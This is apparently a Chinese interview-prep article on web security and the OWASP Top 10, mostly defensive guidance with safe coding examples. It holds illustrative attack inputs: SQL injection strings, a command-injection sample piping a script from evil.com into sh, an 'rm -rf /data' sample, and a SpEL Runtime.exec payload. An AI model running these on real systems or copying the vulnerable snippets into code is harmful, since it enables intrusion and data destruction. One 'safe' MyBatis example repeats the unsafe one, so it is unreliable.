安全(一):Web 安全漏洞与 OWASP Top 10
安全(一):Web 安全漏洞与 OWASP Top 10
导语:后端面试问安全,本质是检验「你写的代码会不会被人打穿」。本篇以 OWASP Top 10 为纲,把最高频的漏洞原理、攻击手法与工程防御方案讲透:SQL 注入与预编译、XSS 三种类型、CSRF、SSRF、越权(2025 版排名第一)、文件上传与路径穿越、命令注入、安全配置错误,共 10 题。
一、风险全景
1. OWASP Top 10 是什么?2021 → 2025 有哪些变化?
答: OWASP(开放式 Web 应用安全项目)Top 10 是 Web 应用最严重的安全风险榜单,由全球安全数据统计 + 社区投票产生,是面试与安全建设的事实标准(约每 3~4 年更新一版)。
OWASP Top 10:2025(最新版)与 2021 版对比:
| 2025 排名 | 类别 | 相比 2021 |
|---|---|---|
| A01 | Broken Access Control(访问控制失效) | 蝉联第一;SSRF 并入本类 |
| A02 | Security Misconfiguration(安全配置错误) | ⬆️ 从第 5 升至第 2 |
| A03 | Software Supply Chain Failures(软件供应链失效) | 🆕 由「使用有漏洞的组件」扩大为新类别(Log4Shell、SolarWinds 之后被独立列出) |
| A04 | Cryptographic Failures(加密机制失效) | ⬇️ 从第 2 降至第 4 |
| A05 | Injection(注入) | ⬇️ 从第 3 降至第 5 |
| A06 | Insecure Design(不安全设计) | ⬇️ 从第 4 降至第 6 |
| A07 | Authentication Failures(身份认证失效) | 名次不变,名称简化 |
| A08 | Software or Data Integrity Failures(软件/数据完整性失效) | 名次不变(含反序列化漏洞) |
| A09 | Security Logging and Alerting Failures(安全日志与告警失效) | 名次不变(监控 → 告警) |
| A10 | Mishandling of Exceptional Conditions(异常条件处理不当) | 🆕 全新类别 |
三个必须能讲清的"演变逻辑":
| 变化 | 背后原因 | 工程启示 |
|---|---|---|
| SSRF 被并入 A01,不再单独成项 | OWASP 认为"诱骗服务器发出不该发的请求,本质就是访问控制失效"(典型案例:Capital One 数据泄露) | 防护思路要从"防单个漏洞"上升到"收敛服务器出网能力" |
| 新增 A03 软件供应链失效 | Log4Shell、SolarWinds xz 后门等事件说明:你的漏洞可能不是你写的 | 要做依赖治理(SCA)、SBOM 清单、构建产物签名、CI/CD 权限最小化 |
| 新增 A10 异常条件处理不当 | 生产事故里大量问题是"异常没处理好":堆栈泄露、fail-open(出错反而放行)、边界与竞态 | 安全校验要fail-closed(出错即拒绝);统一异常处理,不向前端暴露堆栈 |
面试怎么答:先答"访问控制失效连续第一"(这是最本质的结论),再补 2025 的两处新增(供应链、异常处理),最后落一句「所以安全建设要从"代码层"扩展到"依赖层 + 配置层 + 异常路径"」。如果面试官手上还是 2021 版,说清两版差异是加分项。
二、注入类漏洞
2. SQL 注入的原理、常见分类与防御?
答:
原理:应用把"用户输入"当作"SQL 代码"来拼接执行,导致攻击者能改写查询语义。
// ❌ 危险:字符串拼接
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND pwd = '" + pwd + "'";
// 攻击者输入 name = "admin' --" → 密码校验被注释掉,直接登录 admin
// name = "' OR '1'='1" → 返回全表,绕过登录
// name = "' UNION SELECT ..." → 拖库| 注入类型 | 说明 | 特点 |
|---|---|---|
| 数字型 / 字符型 | 依据参数是否需要引号闭合区分 | 最基础 |
| 报错注入 | 用 extractvalue/updatexml 等让数据库报错回显数据 | 页面有报错回显时用 |
| 布尔盲注 | 页面无回显,靠 AND 1=1 / AND 1=2 页面差异推断 | 逐字符猜,慢 |
| 时间盲注 | 靠 SLEEP(5) 响应时间差异推断 | 最慢,但最难防 |
| 联合查询注入(UNION) | 用 UNION SELECT 直接把数据带回 | 需要列数匹配 |
| 堆叠注入 | 用 ; 执行多条语句(如 ; DROP TABLE) | 取决于驱动是否允许多语句 |
| 二次注入 | 恶意数据先存入库,之后被取出再拼接进 SQL | 最难发现(防御不能只看入口) |
| 宽字节注入 | 利用 GBK 等编码让 \' 中的反斜杠被"吃掉" | 老系统常见 |
防御(按有效性排序,面试要按这个顺序说):
| 防御手段 | 说明 | 有效性 |
|---|---|---|
| ① 预编译(参数化查询) | 用 PreparedStatement/#{},让SQL 结构与参数分离 | 最根本、必须做 |
| ② 输入校验与类型约束 | 参数做白名单/类型/长度校验(如 id 必须是正整数) | 辅助(治标) |
| ③ 最小权限 | 应用账号只给必要的库表权限(禁 DROP/FILE/SUPER),不同业务用不同账号 | 降低危害(防拖库与提权) |
| ④ 统一异常处理 | 不把数据库报错回显给前端(防报错注入) | 必须 |
| ⑤ 转义/过滤 | 对特殊字符转义(易漏、不推荐作为主防线) | 兜底 |
| ⑥ WAF / RASP | 拦截明显攻击特征、运行时阻断 | 兜底,不能依赖 |
| ⑦ ORM 框架 | MyBatis/JPA/Hibernate 正确使用 | 好,但要看是否用了拼接 API |
三个高频追问:
- 「为什么
#{}能防注入,${}不能?」 →#{}是预编译参数占位(?),参数以数据身份传给数据库;${}是字符串拼接,输入会变成 SQL 语法的一部分; - 「预编译一定能防住吗?」 → 不能。若
ORDER BY、表名、列名用了参数化,某些数据库不支持(因为是标识符而非值)→ 这些位置必须白名单校验;另外二次注入与数据库侧存储过程拼接也需要单独防护; - 「存储过程能防注入吗?」 → 取决于写法:用参数化调用的存储过程可以,但存储过程内部用
EXEC拼接同样会中招(且更隐蔽)。
3. MyBatis 的 ${} 与 #{} 有什么区别?哪些场景必须用 ${} 但要怎么防护?
答:
| 对比 | #{} | ${} |
|---|---|---|
| 底层实现 | PreparedStatement 占位符(?)+ setXxx() | 字符串直接拼接到 SQL |
| 安全性 | ✅ 防注入 | ❌ 有注入风险 |
| 类型处理 | 自动按 JDBC 类型设置参数 | 原样文本拼接(需自行保证类型) |
| 适用位置 | 所有"值"的位置(WHERE、SET、VALUES) | "标识符"的位置(表名、列名、ORDER BY、LIMIT 部分场景) |
必须用 ${} 的典型场景与安全写法(这才是面试的"考点"):
<!-- ❌ 危险:ORDER BY 直接拼接 -->
<select id="listUsers" resultType="User">
SELECT * FROM users ORDER BY ${sortColumn} ${order}
</select>
<!-- ✅ 正确:在 Java 侧做白名单映射 -->
<select id="listUsers" resultType="User">
SELECT * FROM users ORDER BY ${sortColumn} ${orderDir}
</select>// ✅ 白名单:只允许映射表中存在的字段与方向
private static final Map<String, String> SORT_COLUMN_MAP = Map.of(
"id", "id",
"name", "name",
"createTime", "create_time"
);
private static final Set<String> ALLOWED_DIR = Set.of("ASC", "DESC");
public List<User> listUsers(String sortKey, String dir) {
String column = SORT_COLUMN_MAP.get(sortKey);
if (column == null) {
throw new IllegalArgumentException("非法排序字段: " + sortKey); // 或给默认值
}
String orderDir = ALLOWED_DIR.contains(StringUtils.upperCase(dir)) ? dir.toUpperCase() : "ASC";
return userMapper.listUsers(column, orderDir);
}三条实践铁律:
| 铁律 | 说明 |
|---|---|
① 能用 #{} 就绝不用 ${} | 默认假设 ${} 处有漏洞,需要代码评审时重点检查 |
② ${} 的位置一定走"枚举/白名单映射" | 绝不允许拼进用户原始输入;映射表(Map/Enum)比"正则过滤"可靠 |
③ 禁止把 ${} 用于"值"的位置 | 如 WHERE id = ${id} 就是典型漏洞(数字型注入) |
面试延伸:「为什么
LIMIT ${offset}, ${size}也有风险?」→ 若 offset/size 未做整数校验,可注入1 UNION SELECT ...之类;正确做法是强制Integer.parseInt/ 参数校验,或用#{}(MySQL 支持LIMIT ?参数化)。
三、客户端与请求侧漏洞
4. XSS 有哪几种类型?如何防御?
答: XSS(跨站脚本)的本质是:把不可信的内容当作"HTML/JS 代码"交给了浏览器执行。
| 类型 | 触发方式 | 存储位置 | 危害面 | 例子 |
|---|---|---|---|---|
| 存储型(Stored) | 恶意脚本存进数据库,之后所有访问该页面的用户都会中招 | 服务端(DB) | 最严重(无需诱导,一个评论区就能打全站) | 留言/昵称/商品评论里塞 <script> |
| 反射型(Reflected) | 脚本在URL 参数里,服务端把它"反射"回页面 | URL/请求参数 | 中(需诱导用户点击恶意链接) | 搜索页把关键词回显到 HTML |
| DOM 型(DOM-based) | 纯前端问题:JS 从 location.hash 等取值后直接写入 DOM | 浏览器端 JS | 中(服务端完全看不到) | document.getElementById("x").innerHTML = location.hash |
防御(四层,且必须"分层做"):
| 层 | 手段 | 说明 |
|---|---|---|
| ① 输出编码(最根本) | 按输出位置做对应编码:HTML 文本用 HTML 实体、属性用引号加实体、JS 上下文用 \uXXXX、URL 用 URL 编码 | "什么上下文用什么编码"——用统一的编码库(如 OWASP Java Encoder),不要自己写替换 |
| ② 富文本白名单过滤 | 需要允许部分 HTML 时(如富文本编辑器),用白名单过滤标签与属性(如 jsoup 的 Safelist) | 必须白名单(黑名单永远漏);禁止 on* 事件、javascript: 协议、<iframe>、<style> |
| ③ 浏览器侧防线(纵深防御) | CSP(Content-Security-Policy,禁内联脚本与未授权域)、HttpOnly(Cookie 不可被 JS 读取 → 防止会话被偷)、X-Content-Type-Options: nosniff | 即使编码漏了,CSP 也能挡住大部分 |
| ④ 输入校验 | 长度、类型、格式校验 | 辅助(不能作为主防线) |
三个高频追问:
- 「为什么输入过滤(黑名单)不够?」 → 因为绕过方式无穷(大小写、编码、
<img src=x onerror=...>、SVG、data:协议…),黑名单必然有漏网之鱼;正确思路是「入口做基础校验 + 出口做强制编码」; - 「XSS 能偷到 Cookie 吗?」 → 能,前提是 Cookie 没有
HttpOnly。所以HttpOnly是防会话劫持的必备项(但它挡不住 XSS 发起的"代用户操作"请求); - 「CSP 怎么配?」 → 生产建议渐进式上线:
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.example.com; ← 禁止内联脚本(不用 unsafe-inline)
object-src 'none'; ← 禁 Flash/插件
frame-ancestors 'none'; ← 防点击劫持
base-uri 'self'; ← 防 base 标签劫持
落地方式:先上 Content-Security-Policy-Report-Only 观察告警,再切正式策略5. CSRF 的原理与防御?它和 XSS 有什么区别?
答:
CSRF(跨站请求伪造):攻击者利用受害者的已登录身份,诱使其浏览器向目标站点发起一个"合法但非用户本意"的请求。
| 防御手段 | 原理 | 有效性 |
|---|---|---|
| ① CSRF Token(主流) | 服务端下发随机 token(存 Session 或签名),要求请求必须带上且校验通过;跨站攻击者读不到 token | ✅ 最可靠 |
| ② SameSite Cookie | SameSite=Lax(默认,跨站 POST 不携带)/ Strict(跨站一律不携带)/ None(需配 Secure) | ✅ 浏览器原生防线(现代首选基础配置) |
| ③ 校验 Referer / Origin | 检查请求来源域名是否同源 | 中(可能被裁掉 Referer) |
| ④ 关键操作二次验证 | 转账/改密要求再次输入密码/短信验证码 | ✅ 有效但影响体验 |
⑤ 使用自定义头(如 X-Requested-With、Authorization) | 跨域请求不能自定义头(受 CORS 限制),所以带自定义头天然免疫简单 CSRF | ✅ 前端分离架构常用 |
| ⑥ 不用 Cookie 而用 Header 传 Token(JWT) | 浏览器不会自动携带 → 天然无 CSRF | ✅ 但有 XSS 风险(Token 可被 JS 读) |
XSS vs CSRF(必背对比):
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 窃取数据 / 冒用身份执行任意脚本 | 伪造用户发起请求(改数据、转账) |
| 信任关系被利用 | 利用用户对网站的信任(用户以为脚本来自网站) | 利用网站对用户浏览器的信任(网站以为请求来自用户) |
| 是否需要 JS | 需要(要执行脚本) | 不需要(一个 <img> 就够了) |
| 能否读取响应 | 能 | 不能(跨站读不到响应,所以叫"盲打") |
| 防御核心 | 输出编码 + CSP | Token + SameSite |
| 关系 | XSS 可以"绕过"CSRF 防御(能读 token、能发任意请求)→ 所以 XSS 是比 CSRF 更严重的问题 | — |
一句话记忆:「XSS 是"你的页面执行了我的代码",CSRF 是"你的请求是我伪造的"」。所以修好 XSS 能顺带缓解 CSRF,但修好 CSRF 不能防 XSS。
6. SSRF 是什么?有什么危害?如何防御?
答:
SSRF(服务端请求伪造):攻击者让"服务器"去访问攻击者指定的地址,从而绕过网络边界(服务器通常在内网、能访问外网与被防火墙保护的资源)。
典型入口(凡是"服务端会去请求 URL"的功能都是入口):图片/文件 URL 抓取、Webhook 回调、URL 预览、PDF/截图生成、RSS 订阅、代理转发、在线翻译/导入。
防御(按有效性排序):
| 防御手段 | 说明 |
|---|---|
| ① 白名单(最有效) | 只允许访问预定义的域名/IP 列表;能枚举就不用黑名单 |
| ② 协议限制 | 只允许 http/https,禁用 file/gopher/dict/ftp(防止读文件与打内网服务) |
| ③ IP 与网段校验 | 解析后校验目标 IP 不是内网/环回/链路本地(127.0.0.0/8、10.0.0.0/8、172.16/12、192.168/16、169.254.169.254、::1) |
| ④ 防"解析重绑定"与跳转绕过 | 先解析、再校验、再连接(防 DNS Rebinding:第一次解析到外网 IP 通过校验,实际连接时被解析成内网 IP);禁止或限制重定向(followRedirects=false),每个跳转都要重新校验 |
| ⑤ 网络层隔离(最根本) | 服务器默认禁止出网(只放行白名单出口)、内网服务做鉴权、云元数据服务使用 IMDSv2(需 Token) |
| ⑥ 禁用不必要的能力 | 关闭不需要的协议支持、限制超时与响应大小 |
两个高频追问:
- 「
169.254.169.254为什么这么危险?」 → 它是云厂商的元数据服务地址。Capital One 数据泄露就是 SSRF 打元数据拿到 IAM 凭证 → 用凭证访问 S3 拖走 1 亿用户数据。AWS 的 IMDSv2 强制使用 Token(PUT 请求获取),能有效缓解 SSRF; - 「解析后校验就行了吗?」 → 不够。经典绕过方式:302 跳转(第一次校验通过后跳到内网)、DNS Rebinding(TTL=0 的域名两次解析结果不同)、进制/IPv6/短域名表示(如
0x7f000001)。所以必须「每次请求前都校验 + 禁止跳转或跳转后再校验 + 网络层默认拒绝出网」。
四、访问控制与文件类漏洞
7. 越权(水平/垂直)是什么?如何系统性防御?
答: 越权属于 A01 访问控制失效——2021 与 2025 两版都排第一,是真实发生最多的漏洞。
| 类型 | 含义 | 例子 |
|---|---|---|
| 水平越权(横向) | 同级用户之间越权:能操作别人的数据 | 改 URL 里的 orderId 看到他人的订单;GET /user/1002/profile 看到 1002 的信息 |
| 垂直越权(纵向) | 低权限用户获得高权限功能 | 普通用户访问 /admin/deleteUser;前端隐藏了菜单但接口没校验 |
| 未授权访问 | 完全不需要登录就能访问敏感接口 | 忘记加鉴权注解的接口、Actuator/监控端点暴露、Swagger 生产开放 |
| 越权链式利用 | 越权 + 其他漏洞放大 | 越权读取到管理员 token → 提权 |
根因(面试要点,不只是"没判权限"):
| 根因 | 说明 |
|---|---|
| 只在"列表页"做了过滤,详情/导出接口没做 | 最常见(如 list 加了 WHERE userId=?,但 getById 没加) |
| 信任前端传入的身份标识 | 从请求参数取 userId,而不是从登录态(Session/Token)取 |
| 鉴权只做在 Controller,Service/DAO 层裸奔 | 内部调用或新增入口时绕过校验 |
| "ID 不可猜"当成安全措施(用 UUID 隐藏 ID) | 属于隐晦式安全,IDs 会泄露(日志/分享链接/Referer) |
| 前后端权限模型不一致 | 前端按按钮隐藏,后端按角色校验,两边规则不同步 |
系统性防御(面试要答"体系"而不是"某一点"):
一个高频追问:「如何设计一个权限模型?」 →
| 模型 | 说明 | 适用 |
|---|---|---|
| ACL | 直接给资源配"谁能访问" | 简单、资源数量少的系统 |
| RBAC(基于角色) | 用户 → 角色 → 权限,主流方案 | 大多数后台系统 |
| ABAC(基于属性) | 按属性(部门、时间、IP、资源标签)动态判断 | 复杂策略(如"同部门才能看") |
| ReBAC(基于关系) | 按资源关系图判断(Google Zanzibar 模型) | 复杂协作场景(文档共享) |
实践建议:RBAC 打底 + 数据权限规则(ABAC 思路)补充,并且权限判断必须在服务端做且可测试。
8. 文件上传与路径穿越漏洞怎么防?
答:
文件上传的危害(远不止"传个文件"):
防御(组合拳):
| 防御点 | 做法 |
|---|---|
| ① 存储分离(最有效) | 文件存对象存储/CDN,绝不放在 Web 应用目录下;返回的下载 URL 与业务域名分离 |
| ② 重命名 + 白名单扩展名 | 服务端生成随机文件名(UUID),扩展名按白名单(且映射到服务端决定的后缀),不要用用户传的文件名 |
| ③ 校验文件内容(不只后缀) | 读取文件头 magic number 判断真实类型(图片校验宽高/完整解码);禁用 SVG 上传或做严格过滤 |
| ④ 禁止执行权限 | 上传目录挂载时去掉可执行位(noexec)、Nginx 禁止在该目录解析脚本 |
| ⑤ 限制大小与频率 | 限制单文件大小、用户配额、频率(防 DoS) |
| ⑥ 上传目录独立域名 | 用独立域名(且 Content-Disposition: attachment 或强制下载)防止 XSS/钓鱼 |
| ⑦ 病毒/恶意内容扫描 | 接入杀毒/内容安全检测(图片涉黄涉政、Office 宏) |
| ⑧ 鉴权与归属 | 上传/下载都要校验权限(下载接口也会越权) |
路径穿越(Path Traversal / 目录遍历):
// ✅ 相对安全的写法(仅作示意,生产更推荐"ID → 路径映射")
Path base = Paths.get("/data/files").toRealPath();
Path target = base.resolve(userInput).normalize().toRealPath(); // 规范化 + 解析符号链接
if (!target.startsWith(base)) {
throw new SecurityException("非法路径"); // 越界即拒绝
}另外两个相关的常见漏洞:
| 漏洞 | 危害 | 防御 |
|---|---|---|
| 任意文件读取 | 读 /etc/passwd、配置文件(DB 密码)、部署脚本、源码 | 同上(路径白名单 + 权限最小化) |
| Zip Slip(压缩包解压穿越) | 恶意 zip 内条目名为 ../../evil.sh,解压时写到目标目录之外 | 解压前逐条目校验规范化路径是否在目标目录内 |
五、其他高频项
9. 命令注入与表达式注入是什么?怎么防?
答:
① 命令注入(Command Injection)
// ❌ 危险:把用户输入拼进 shell 命令
String cmd = "ping -c 1 " + userInput;
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
// 攻击者输入:127.0.0.1; curl evil.com/shell.sh | sh
// 127.0.0.1 && rm -rf /data
// 127.0.0.1 `whoami` (反引号命令替换)防御:
| 手段 | 说明 |
|---|---|
| ① 能不调用外部命令就不调用 | 用语言内置库替代(如需压缩/图片处理用 Java 库,而不是 tar/ffmpeg 的 shell) |
| ② 参数与命令分离 | 用 ProcessBuilder 传参数数组(不给 shell 解释的机会),绝不走 sh -c |
| ③ 白名单校验 | 参数严格白名单(如 IP 必须是合法 IP 格式、文件名必须匹配 ^[a-zA-Z0-9_.-]+$) |
| ④ 最小权限 | 应用账号无特权、容器内非 root、只读文件系统 |
| ⑤ 禁用危险命令 | 生产镜像最小化(不带 curl/wget/nc),配合 seccomp/AppArmor |
// ✅ 不经 shell,参数分离
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", validatedIp);
pb.redirectErrorStream(true);
Process p = pb.start();② 表达式注入(Java 生态高频,容易被忽略)
| 漏洞 | 触发 | 危害 |
|---|---|---|
| SpEL 注入(Spring Expression Language) | 把用户输入当 SpEL 表达式求值(如某些规则引擎、动态查询、@Value 拼接) | 可执行任意代码(T(java.lang.Runtime).getRuntime().exec(...)) |
| OGNL 注入 | Struts2 的经典漏洞(S2-045 等) | 远程代码执行(RCE) |
| MVEL / Groovy 脚本注入 | 规则引擎允许用户写脚本,未做沙箱 | RCE |
| 模板注入(SSTI) | 用户输入进入模板渲染(Thymeleaf/Freemarker/Velocity) | RCE / 信息泄露 |
XXE(XML 外部实体注入) | XML 解析器开启了外部实体 | 读文件、SSRF、DoS(十亿笑声攻击) |
统一防御原则:
10. 安全配置错误有哪些典型场景?(A02,2025 版升至第二)
答: 这不是"代码漏洞",而是"部署与配置疏漏"——但发生率极高、危害极大,这也是它从 2021 年第 5 名跃升到 2025 年第 2 名的原因。
典型场景清单(后端务必逐条自查):
| 类别 | 典型问题 | 危害 |
|---|---|---|
| 暴露管理端点 | Spring Boot Actuator 未鉴权(/actuator/env 泄露配置与密码、/actuator/heapdump 下载堆转储、/actuator/shutdown 关服务);Swagger/Knife4j 生产开放;JMX/jolokia 暴露 | 信息泄露甚至 RCE |
| 调试信息泄露 | 生产开 debug=true、management.endpoint.health.show-details=always、异常堆栈直接返回前端、/error 返回详细属性 | 泄露路径、依赖版本、SQL、内网拓扑 |
| 默认/弱口令 | 数据库 root/root、Redis 无密码、ES 无鉴权、MQ 控制台默认口令、容器镜像里的默认账号 | 直接被接管 |
| 危险的服务开放 | Redis/ES/MongoDB 直接对公网暴露(历史上有大量被挖矿/勒索案例);Docker API(2375)无 TLS 暴露;K8s API 匿名访问 | 服务器被控 |
| 传输与头部配置 | 未强制 HTTPS、缺 HSTS/CSP 等安全头、Cookie 缺 Secure/HttpOnly/SameSite、CORS Access-Control-Allow-Origin: * 且带凭证 | 中间人、XSS、跨站数据泄露 |
| 目录与文件暴露 | .git/、.svn/、backup.sql、.env、nginx.conf、源码打包文件可下载;目录列表开启(autoindex on) | 源码与密钥泄露 |
| 云与容器配置 | S3/OSS Bucket 公开可读写、安全组开放 0.0.0.0/0 到数据库端口、容器以 root + 特权模式 运行、Secret 明文写进镜像/环境变量 | 数据泄露、横向移动 |
| 不必要的功能 | 生产保留测试接口、示例页面、示例账号、未用的端口与协议(如开放 file/gopher 代理) | 攻击面扩大 |
防御的核心三条:
面试加分句:「安全配置错误的特点是"不需要写错代码就能被攻破"——很多事故的根因是运维配置(Redis 无密码暴露公网、S3 公开桶、Actuator 未鉴权),所以安全必须覆盖"代码 + 配置 + 部署"三层,这也是 OWASP 2025 把配置错误提到第 2、并把供应链与异常处理单列的原因。」
下一篇:《安全(二)》进入认证、授权与加密——认证与授权的区别、RBAC/ABAC、密码该怎么存(为什么不能用 MD5)、JWT 的安全风险、Session 劫持与会话固定、OAuth 2.0 四种模式与 PKCE、OIDC 与 SSO、对称/非对称/哈希/签名的适用场景、HTTPS 能防与不能防什么、常见加密误用。
